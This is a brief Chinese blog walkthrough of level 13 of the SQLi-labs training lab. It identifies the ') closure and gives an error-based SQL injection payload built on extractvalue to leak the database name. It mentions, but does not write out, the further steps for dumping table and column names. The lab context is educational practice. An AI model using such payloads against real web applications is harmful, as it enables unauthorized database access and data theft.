SQLI DUMB SERIES-13

(1)检测闭合方式

通过 ') 闭合。

(2)尝试输入 admin')# 无回显。尝试报错注入,

爆表payload:

admin') and extractvalue(1,concat(0x7e,(select database())))  and ('

爆表名

爆users表的列

其他均与12关相同。

由于无法解释的神圣旨意,我们徒然地到处找你;你就是孤独,你就是神秘,比恒河或者日落还要遥远。。。。。。
原文地址:https://www.cnblogs.com/momoli/p/10705249.html